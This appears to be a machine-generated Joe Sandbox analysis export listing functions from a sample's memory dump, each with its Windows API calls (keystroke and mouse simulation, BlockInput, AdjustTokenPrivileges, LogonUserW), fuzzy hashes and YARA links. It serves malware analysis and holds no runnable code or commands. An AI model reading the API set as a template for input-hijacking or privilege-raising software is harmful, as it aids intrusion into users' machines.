Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: ac5cd3372830c726f5d449d8c0b20d53abfb442e16689150d987fb09bf9c1bbf
Instruction ID: 733ceffd610575bc47baa96b04508ca02cce42ff7a8f6c11b6b82adc2c0d5d1e
Opcode Fuzzy Hash: ac5cd3372830c726f5d449d8c0b20d53abfb442e16689150d987fb09bf9c1bbf
Instruction Fuzzy Hash: 8DF08C31500229EBDB21ABA4DC49FFA776DBF093A1F008265F91AD6181D7789A40CBA0

Function 0076411C Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00764153
keybd_event.USER32(?,7707C0D0,?,00000000), ref: 00764166

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: f48c16ff2961cf1357df246fa76091708fbd9bfa1c78bde334a05d808119f37a
Instruction ID: 5fad8d19863e666a0cfebb1a655d8e275aecafa2c7fe4b891c67399ecd6868da
Opcode Fuzzy Hash: f48c16ff2961cf1357df246fa76091708fbd9bfa1c78bde334a05d808119f37a
Instruction Fuzzy Hash: 3AF0677080024DAFDB098FA4C805BBE7BB0EF01305F00800AF966A6192D7798A129FA4

Function 0075AB84 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,0075ACC0), ref: 0075AB99
CloseHandle.KERNEL32(?,?,0075ACC0), ref: 0075ABAB

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: f5d10cf6018a6a0d671e7689db4d170dd3515d48ecad052c0b3cc646e2c841de
Instruction ID: 46622977b9f93c5afb36ff1acb4f291bb30501e8073bea45d2c9746257f747fb
Opcode Fuzzy Hash: f5d10cf6018a6a0d671e7689db4d170dd3515d48ecad052c0b3cc646e2c841de
Instruction Fuzzy Hash: 60E0E675400510EFF7252F54EC09DB77BE9EF44361B10C529F85B81871DB6A5C90DB54

Function 007481AC Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,0000000E,00746DB3,-0000031A,?,?,00000001), ref: 007481B1
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 007481BA

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: a743c1142665649ecfa2a03ec238873c4b84db042e3e078c5fc196cabd06e828
Instruction ID: 8b6827b35a9c2575f4fb3ff1a0b04bfc7e98f2dad5ad76f7ac489a12616169e6
Opcode Fuzzy Hash: a743c1142665649ecfa2a03ec238873c4b84db042e3e078c5fc196cabd06e828
Instruction Fuzzy Hash: 00B09231044608EBDF102BA1EC09B587F68EB8A652F008010F60E448618B7658108B9A

Function 0074D1B9 Relevance: 2.1, APIs: 1, Instructions: 645COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29ca5a0507c082e457417a33f01ea0ca16ab86423bb979dd3242dec60b837270
Instruction ID: 40ef81e0a56296c8c3bfaea5ecd88e52c9a907ac843e644011192650795e920e
Opcode Fuzzy Hash: 29ca5a0507c082e457417a33f01ea0ca16ab86423bb979dd3242dec60b837270
Instruction Fuzzy Hash: 79320422D29F414DD7239634D822336A29CEFB73D4F15D727E859B5AAAEF2DC8834104

Function 007296C0 Relevance: 2.1, APIs: 1, Instructions: 573COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: __itow__swprintf
String ID:
API String ID: 674341424-0
Opcode ID: f1409650787cb4756ea2a46a034060cbbf4e9b1bb04b41779d152b07e15c06a5
Instruction ID: 79628722fd52707331b7c4ef7d1fc9d2a92c1bf13dbd76b67a100beaf82d7ab1
Opcode Fuzzy Hash: f1409650787cb4756ea2a46a034060cbbf4e9b1bb04b41779d152b07e15c06a5
Instruction Fuzzy Hash: A322BA71608310DFDB24DF14E884B6FB7E4AF84310F18492DF99A97292DB39E944CB92

Function 0075038E Relevance: 1.8, APIs: 1, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05f2e2cf971d98aea3a7c1df6cdd8f350d68e26129b7f731dcac5804847b5c90
Instruction ID: a2ab56a10b0cafd00afeccea8b602fb6f630fe1b9669c6cac971e599d85dbb45
Opcode Fuzzy Hash: 05f2e2cf971d98aea3a7c1df6cdd8f350d68e26129b7f731dcac5804847b5c90
Instruction Fuzzy Hash: 87B1F220D2AF414DD723A6398871336B65CAFBB3D5F92D71BFC2A74D22EB2585834184

Function 0076B6CC Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 0076B6DF

Part of subcall function 0074344A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,0076BDC3,00000000,?,?,?,?,0076BF70,00000000,?), ref: 00743453
Part of subcall function 0074344A: __aulldiv.LIBCMT ref: 00743473

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Time$FileSystem__aulldiv__time64
String ID:
API String ID: 2893107130-0
Opcode ID: 9b6d3f4dab0d51318f127f4e41eb5b11fd0140f13283d54c0cb7d9215d7bfa04
Instruction ID: 59eae780d30b61b50f563720ba1682aa4da856b20ff1c17345bd635b5f9cc2b5
Opcode Fuzzy Hash: 9b6d3f4dab0d51318f127f4e41eb5b11fd0140f13283d54c0cb7d9215d7bfa04
Instruction Fuzzy Hash: D1216372635510CBC719CF28C481A92B7E1EB99310B248E6DE4E6CF2C0CB78A945DB54

Function 00776AAF Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 00776ACA

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: a3292178968f2cc4e0b3983f8e128a4e84dceac9ed8a17f0c103315db723d1b8
Instruction ID: c9ee02226355af90c92f5dc85d607994d9ae48cdfd9d8ac79433accaf41cc5de
Opcode Fuzzy Hash: a3292178968f2cc4e0b3983f8e128a4e84dceac9ed8a17f0c103315db723d1b8
Instruction Fuzzy Hash: 7CE01235200214AFDB10EB59D404956B7ECAFA4791F05C416E949D7351DAB4E8048BA0

Function 007674E7 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000004,00000000,00000000,00000000,00000000), ref: 0076750A

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: e784ee3adca986e5d62e457eb8aa9e7528d456759dfb9d71488ad7d62ec1945a
Instruction ID: ecc62b2a6530dd5daece379c5b8d090798b856cff44ab8ca689880ba8f077534
Opcode Fuzzy Hash: e784ee3adca986e5d62e457eb8aa9e7528d456759dfb9d71488ad7d62ec1945a
Instruction Fuzzy Hash: 33D067A416C64569E82D47249C1FFB61908A3417CAFD845897A03990C1BC9C5D11E035

Function 0075B106 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,0075AD3E), ref: 0075B124

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: 7430348446b099c9bceae715440bbcbe8113cacaf10240d343ca875514b80d09
Instruction ID: 83c50e59a98d832aadc7193cac1bd031a2ee27e5d13ac4d09f22de2506db77b1
Opcode Fuzzy Hash: 7430348446b099c9bceae715440bbcbe8113cacaf10240d343ca875514b80d09
Instruction Fuzzy Hash: 2FD05E321A460EAEDF024FA4DC02EAF3F6AEB04700F408110FA12C50A0C675D931AB50

Function 0079B340 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 0079B352

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 75c81b2960042dc7c12a6a7ba660ab893541b1652d1935e8bce18468dcfc1446
Instruction ID: b0e4a0a4c0c064b7d65467b5629435965fad7c5df0377b51adc675a87d8b8bf8
Opcode Fuzzy Hash: 75c81b2960042dc7c12a6a7ba660ab893541b1652d1935e8bce18468dcfc1446
Instruction Fuzzy Hash: 0EC04CB1401109DFCB51CBC0D9449EFB7BCAB05301F105091A106F1110D7749B859B76

Function 00748189 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 0074818F

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 5840713813c615e6acb844e4c1a8e3273eaac3db32f91127b9f5369514b9a135
Instruction ID: b7d2b2e336223284728eb50c18b12a461602080d989a7373d9ec9253ee43ec08
Opcode Fuzzy Hash: 5840713813c615e6acb844e4c1a8e3273eaac3db32f91127b9f5369514b9a135
Instruction Fuzzy Hash: 43A0113000020CEB8F002B82EC088883F2CEA822A2B008020F80E008208B22A8208A8A

Function 007293F0 Relevance: .5, Instructions: 531COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b58c87d7778cedd5fc4b544b86bd729b5c5d9ab868ee4a57dd02e495d314b19
Instruction ID: bfc3a6722e1175c2f01476e58abe8021cee832679e33b7a54e61bbdbd65de013
Opcode Fuzzy Hash: 0b58c87d7778cedd5fc4b544b86bd729b5c5d9ab868ee4a57dd02e495d314b19
Instruction Fuzzy Hash: 3A12A070A00219EFDF04DFA5E985AEEB7F5FF48300F148529E506E7291EB39A911CB54

Function 0072E3E3 Relevance: .5, Instructions: 521COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c63077069a347d160e5410f6ca99bb92531d6db052929816bb3bd4404e5b62fa
Instruction ID: a89e7722053c11007967bb1af0ffba8d51a0806f736f22053db0af9a02ea56b1
Opcode Fuzzy Hash: c63077069a347d160e5410f6ca99bb92531d6db052929816bb3bd4404e5b62fa
Instruction Fuzzy Hash: 00129070904225CFDB24DF58E494ABEB7B1FF18314F148069E98A9B352E739AD81CB91

Function 0072AF50 Relevance: .5, Instructions: 514COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Exception@8Throwstd::exception::exception
String ID:
API String ID: 3728558374-0
Opcode ID: df06f9d150a85e3ded18761c779c9da00c9459b7681ea51b66571528dbb159b0
Instruction ID: 85799411a0193c93a16d6067899abd0a15363f6206512d8efd4a2aa30ad7f54c
Opcode Fuzzy Hash: df06f9d150a85e3ded18761c779c9da00c9459b7681ea51b66571528dbb159b0
Instruction Fuzzy Hash: 1002A4B0A00119EBDF14EF68E9956AEB7F5FF44300F10C069E806EB256EB39D915CB91

Function 007402A4 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bcf19402166b509fafb4c50a64371ef2a93877f8d810bfc08732e8a9195a1a8
Instruction ID: d1c50923a0569a5463daead0bf6e79d67757cd6572fea2881f25de2ce339c7e5
Opcode Fuzzy Hash: 6bcf19402166b509fafb4c50a64371ef2a93877f8d810bfc08732e8a9195a1a8
Instruction Fuzzy Hash: 98C1A5322451A30AEF2D463D847443EFAA15EA27F171A076DD8B3CB5D6EF38C524E660

Function 007406D9 Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d76c3bdd49f8e00aad6e71f29a941d673537f809e9b181fbd8d4251c6dfdf40
Instruction ID: 10a676ec18fd14218c29dee41d470632445fe666088cd0b52dc30485475bebc5
Opcode Fuzzy Hash: 2d76c3bdd49f8e00aad6e71f29a941d673537f809e9b181fbd8d4251c6dfdf40
Instruction Fuzzy Hash: F0C1C4332051930AEF6D463AC43443EBBA15EA2BB171A076DD4B3CB4D6EF38D524E660

Function 0073FE6F Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction ID: 453b927d563bcd098dae1473a4761bccd922aeab311be63ad658e0d89b73bdf6
Opcode Fuzzy Hash: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction Fuzzy Hash: 4FC1B4326451930AEF2D463AC43453EFAA15AA27F1B1A077DD4B3CB5E6FF28C524D620

Function 0073FA57 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: 96a5f757e01cfc89fd40bcba95497a882500c03bb4a649245df84816d1859391
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: F3C1913264909309EF2D463AC47443EFAA15AA2BF1B1A177DD4B2CB5D7EF28C524D620

Function 0078D285 Relevance: 49.8, APIs: 33, Instructions: 260COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 0078D2DB
GetSysColorBrush.USER32(0000000F), ref: 0078D30C
GetSysColor.USER32(0000000F), ref: 0078D318
SetBkColor.GDI32(?,000000FF), ref: 0078D332
SelectObject.GDI32(?,00000000), ref: 0078D341
InflateRect.USER32(?,000000FF,000000FF), ref: 0078D36C
GetSysColor.USER32(00000010), ref: 0078D374
CreateSolidBrush.GDI32(00000000), ref: 0078D37B
FrameRect.USER32(?,?,00000000), ref: 0078D38A
DeleteObject.GDI32(00000000), ref: 0078D391
InflateRect.USER32(?,000000FE,000000FE), ref: 0078D3DC
FillRect.USER32(?,?,00000000), ref: 0078D40E
GetWindowLongW.USER32(?,000000F0), ref: 0078D439

Part of subcall function 0078D575: GetSysColor.USER32(00000012), ref: 0078D5AE
Part of subcall function 0078D575: SetTextColor.GDI32(?,?), ref: 0078D5B2
Part of subcall function 0078D575: GetSysColorBrush.USER32(0000000F), ref: 0078D5C8
Part of subcall function 0078D575: GetSysColor.USER32(0000000F), ref: 0078D5D3
Part of subcall function 0078D575: GetSysColor.USER32(00000011), ref: 0078D5F0
Part of subcall function 0078D575: CreatePen.GDI32(00000000,00000001,00743C00), ref: 0078D5FE
Part of subcall function 0078D575: SelectObject.GDI32(?,00000000), ref: 0078D60F
Part of subcall function 0078D575: SetBkColor.GDI32(?,00000000), ref: 0078D618
Part of subcall function 0078D575: SelectObject.GDI32(?,?), ref: 0078D625
Part of subcall function 0078D575: InflateRect.USER32(?,000000FF,000000FF), ref: 0078D644
Part of subcall function 0078D575: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0078D65B
Part of subcall function 0078D575: GetWindowLongW.USER32(00000000,000000F0), ref: 0078D670
Part of subcall function 0078D575: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0078D698

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

